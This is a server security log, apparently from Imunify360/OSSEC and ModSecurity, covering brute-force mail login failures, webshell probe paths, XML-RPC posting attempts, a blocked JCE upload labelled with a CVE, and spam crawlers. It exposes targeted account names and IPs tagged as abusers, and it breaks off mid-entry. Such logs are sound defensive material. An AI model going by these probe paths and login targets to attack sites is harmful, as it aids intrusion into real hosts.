IM360 WAF: XML-RPC Suspicious blog attempt||Username:13647.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:efe0cb3c1f9035ab5af760d4b60b1480fbf3e69f||Title:0xe521ecbe||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.167.241
country_id: 1835841
description:
2026-07-21 00:27:49 dovecot_login authenticator failed for H=(intereuropartc.19522243-138.bih.net.ba) [14.49.167.241]:45406: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.225.187.57
country_id: 6252001
description:
2026-07-21 00:28:04 dovecot_plain authenticator failed for H=(platy) [144.225.187.57]:59292: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.168
country_id: 1733045
description:
2026-07-21 00:28:07 dovecot_login authenticator failed for H=(p7001161-ipoefx.ipoe.ocn.ne.jp) [49.125.203.168]:35216: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.54.196.238
country_id: 6252001
description:
2026-07-21 00:28:09 dovecot_plain authenticator failed for H=c-98-54-196-238.hsd1.tn.comcast.net (colines) [98.54.196.238]:34472: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-21 00:28:16 dovecot_login authenticator failed for H=(79.223.139.122.adsl-pool.jlccptt.net.cn) [64.53.7.231]:57194: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.238.45.202
country_id: 99237
description:
2026-07-21 00:28:24 dovecot_login authenticator failed for H=(243.134.35.171.adsl-pool.jx.chinaunicom.com) [37.238.45.202]:55102: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.49
country_id: 1668284
description:
2026-07-21 00:31:38 dovecot_login authenticator failed for H=([24.249.199.9]) [101.13.5.49]:57476: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.208
country_id: 99237
description:
2026-07-21 00:31:43 dovecot_plain authenticator failed for H=(brudi) [65.20.133.208]:60605: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-21 00:32:40 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([200.37.179.83]) [218.103.36.176]:60956: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.69
country_id: 1733045
description:
2026-07-21 00:33:11 dovecot_login authenticator failed for H=([107.181.168.150]) [49.124.151.69]:53424: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-21 00:32:24 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [180.210.164.158]:41576: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.95.211.115
country_id: 2264397
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1f2215168 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-21 00:33:41 dovecot_login authenticator failed for H=([107.181.161.85]) [182.78.86.62]:43642: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.91.251.133
country_id: 3017382
description:
2026-07-21 00:34:45 dovecot_plain authenticator failed for H=133.251.91.79.rev.sfr.net (pyrize) [79.91.251.133]:53402: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.15.208
country_id: 294640
description:
2026-07-21 00:34:49 dovecot_plain authenticator failed for H=(fibaskint) [109.226.15.208]:46287: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-21 00:34:48 dovecot_login authenticator failed for H=(201-234-106-215.static.impsat.net.ar) [182.95.119.30]:34048: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-21 00:37:54 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee (host91-146-28-230.etth.mark-itt.net) [37.157.91.62]:45158: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-21 00:38:04 dovecot_login authenticator failed for H=([85.12.248.68]) [94.16.17.141]:38334: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.56.108
country_id: 337996
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5c2414674 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/combinations/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.30.101
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/combinations/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.96.106.175
country_id: 1269750
description:
2026-07-21 00:44:35 dovecot_login authenticator failed for H=([139.227.188.247]) [14.96.106.175]:46282: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-21 00:44:44 dovecot_login authenticator failed for H=(197-90-131-158.mweb.ipv4.as20011.net) [65.20.204.88]:33863: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/cochinbigbandsho/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.30.101
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/cochinbigbandsho/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/cochinbigbandsho/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-21 00:50:57 dovecot_login authenticator failed for H=(cm125-59-81-248.hkcable.com.hk) [182.95.181.50]:35484: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 174.72.202.246
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:52201.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c721c3552bd49e1f32b48eeaf69f265bd5d6d901||Title:0x3879c8f6||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-21 00:50:40 dovecot_login authenticator failed for H=(abts-mum-dynamic-203.76.201.106.airtelbroadband.in) [182.95.106.118]:55496: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.82.7.89
country_id: 2077456
description:
2026-07-21 00:53:26 dovecot_login authenticator failed for H=([62.140.234.114]) [95.82.7.89]:39603: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-21 00:53:56 dovecot_login authenticator failed for H=([82.162.56.186]) [106.201.76.203]:5715: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-21 00:57:28 dovecot_login authenticator failed for H=([37.208.46.130]) [94.16.17.141]:39664: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-21 00:57:55 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [202.62.88.25]:43124: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-21 00:59:15 dovecot_login authenticator failed for H=(166.143.48.116.static.netvigator.com) [125.19.182.118]:51442: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-21 00:59:28 dovecot_login authenticator failed for H=([219.254.124.110]) [206.62.136.130]:51134: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-21 00:59:30 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([61.79.170.117]) [80.223.190.179]:58146: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-21 01:00:32 dovecot_login authenticator failed for H=([198.8.94.171]) [222.104.76.94]:44258: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.60.139.70
country_id: 2510769
description:
2026-07-21 01:00:48 dovecot_login authenticator failed for H=([183.171.208.193]) [47.60.139.70]:37120: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-21 01:01:09 dovecot_login authenticator failed for H=(188-122-37-97.xdsl.5gdsl.com) [128.185.208.42]:47508: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 219.249.37.107
country_id: 1835841
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.cnfisher.com/\">\xe4\xb8\xad\xe5\x9b\xbd\xe9\x92\x93\xe9\xb1\xbc\xe4\xba\xba\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-21 01:02:17 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([84.49.129.193]) [80.1.51.168]:37690: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-21 01:02:27 dovecot_login authenticator failed for H=(177-0-238-161.bnut3703.dsl.brasiltelecom.net.br) [101.13.6.86]:54586: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.146
country_id: 1819730
description:
2026-07-21 01:03:20 dovecot_login authenticator failed for H=146.47.246.220.static.netvigator.com ([39.118.24.100]) [220.246.47.146]:51391: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.61.38.7
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b82317440 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-21 01:12:58 dovecot_login authenticator failed for H=([123.209.101.43]) [102.210.148.41]:48470: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-21 01:13:21 dovecot_login authenticator failed for H=(110-25-112-151.adsl.fetnet.net) [121.185.89.74]:34926: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.133.158.238
country_id: 298795
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e22928779 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.0.154.194
country_id: 3175395
description:
2026-07-21 01:15:16 dovecot_login authenticator failed for H=151-0-154-194.ip281.fastwebnet.it ([125.22.41.169]) [151.0.154.194]:52673: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-21 01:15:40 dovecot_login authenticator failed for H=([182.65.38.234]) [183.104.220.84]:49968: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.174.132
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:191.101.174.132||TA:191.101.174.132||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.156.113.122
country_id: 337996
description:
2026-07-21 01:17:38 dovecot_login authenticator failed for H=([41.32.78.170]) [197.156.113.122]:40398: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-21 01:17:48 dovecot_login authenticator failed for H=(90-228-229-182-no600.tbcn.telia.com) [1.250.67.114]:33198: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-21 01:18:19 dovecot_login authenticator failed for H=(ipmapt-72-195-114-171.oc.oc.cox.net) [207.188.158.216]:47257: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-21 01:18:43 dovecot_login authenticator failed for H=([36.135.62.94]) [103.168.241.32]:52475: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 191.101.174.133
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:191.101.174.133||TA:191.101.174.133||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.7.144.60
country_id: 1605651
description:
2026-07-21 01:23:07 dovecot_login authenticator failed for H=(211-23-194-216.hinet-ip.hinet.net) [61.7.144.60]:38386: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.200.184
country_id: 660013
description:
2026-07-21 01:23:49 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc8-184.dhcp.inet.fi (193.210.177.45.fronteirainternet.com.br) [80.223.200.184]:40608: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.31
country_id: 1835841
description:
2026-07-21 01:23:19 dovecot_login authenticator failed for H=(Dinamic-Tigo186-97-203-163.tigo.com.co) [180.71.9.31]:59250: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.202.162.196
country_id: 3624060
description:
2026-07-21 01:23:23 dovecot_login authenticator failed for H=([124.195.255.12]) [143.202.162.196]:38680: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.216.140.244
country_id: 1668284
description:
2026-07-21 01:24:36 dovecot_login authenticator failed for H=61-216-140-244.hinet-ip.hinet.net ([182.95.181.50]) [61.216.140.244]:45938: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-21 01:26:02 dovecot_login authenticator failed for H=(5-100-120-147.ipoe.vladlink.net) [182.95.102.190]:46656: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.60.250
country_id: 1835841
description:
2026-07-21 01:26:41 dovecot_login authenticator failed for H=([49.124.151.25]) [119.204.60.250]:48076: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-21 01:29:01 dovecot_login authenticator failed for H=([61.145.56.3]) [102.210.148.41]:47396: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.138.46
country_id: 99237
description:
2026-07-21 01:28:26 dovecot_login authenticator failed for H=([112.162.111.205]) [65.20.138.46]:34560: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 123.16.151.234
country_id: 1562822
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10240||QS:add-to-cart=10240||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-21 01:33:29 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([116.147.110.30]) [72.234.16.75]:43992: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.42.216
country_id: 6252001
description:
2026-07-21 01:33:45 dovecot_login authenticator failed for H=([187.62.152.28]) [71.12.42.216]:45720: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.192.62
country_id: 1733045
description:
2026-07-21 01:38:58 dovecot_login authenticator failed for H=([72.207.33.65]) [51.162.192.62]:51725: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.123.6.142
country_id: 617790
domain: azenv.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/azenv.net/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-21 01:39:11 dovecot_login authenticator failed for H=([157.96.146.250]) [222.120.63.29]:34191: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-21 01:39:23 dovecot_login authenticator failed for H=([157.96.146.250]) [98.122.215.23]:44644: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.211.228
country_id: 1835841
description:
2026-07-21 01:39:34 dovecot_login authenticator failed for H=([216.181.152.173]) [112.164.211.228]:36832: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-21 01:42:05 dovecot_login authenticator failed for H=([116.232.118.129]) [196.188.187.21]:39514: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-21 01:45:51 dovecot_login authenticator failed for H=([60.172.54.36]) [222.104.76.94]:42970: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.198.159
country_id: 99237
description:
2026-07-21 01:46:27 dovecot_login authenticator failed for H=([121.165.242.158]) [65.20.198.159]:44636: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacservice1.info\">web page</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 194.35.121.181
country_id: 2782113
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcea6690wvl.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.230.47.94
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/metrodigitals/public_html/wp-admin||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.91.138.151
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/292273440 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.230.47.94
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/metrodigitals/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.230.47.94
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/metrodigitals/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.230.46
country_id: 1269750
description:
2026-07-21 01:53:05 dovecot_login authenticator failed for H=([103.176.167.179]) [125.20.230.46]:41782: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ibmctradeflow/public_html/wp-content||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.30.101
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmctradeflow/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-21 01:53:39 dovecot_login authenticator failed for H=([177.10.181.244]) [112.162.111.205]:44413: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.244.215.186
country_id: 298795
description:
2026-07-21 01:53:16 dovecot_login authenticator failed for H=([95.220.47.46]) [178.244.215.186]:44280: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-21 01:53:19 dovecot_login authenticator failed for H=([192.111.134.12]) [102.210.148.41]:39502: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 123.192.217.109
country_id: 1668284
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10187||QS:add-to-cart=10187||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.220
country_id: 1269750
description:
2026-07-21 01:59:20 dovecot_login authenticator failed for H=([45.236.40.32]) [122.187.229.220]:33820: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.148
country_id: 1668284
description:
2026-07-21 01:59:27 dovecot_login authenticator failed for H=111-70-29-148.emome-ip.hinet.net ([49.125.201.70]) [111.70.29.148]:51734: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.187.155.130
country_id: 6252001
description:
2026-07-21 01:59:31 dovecot_login authenticator failed for H=([221.120.78.177]) [50.187.155.130]:56710: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-21 02:00:00 dovecot_login authenticator failed for H=(110-25-114-8.adsl.fetnet.net) [65.20.205.197]:37241: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-21 02:04:12 dovecot_login authenticator failed for H=([59.177.12.54]) [103.126.217.41]:39494: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 35.151.26.122
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/703794282 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-07-21 02:10:02 dovecot_login authenticator failed for H=([156.238.86.2]) [128.185.12.179]:54424: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.51.235.230
country_id: 2510769
description:
2026-07-21 02:10:24 dovecot_login authenticator failed for H=([24.249.199.9]) [85.51.235.230]:55676: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-21 02:10:57 dovecot_plain authenticator failed for H=(statar) [50.217.40.11]:45190: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-21 02:13:06 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp (181-212-174-166.baf.movistar.cl) [60.40.45.223]:51145: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
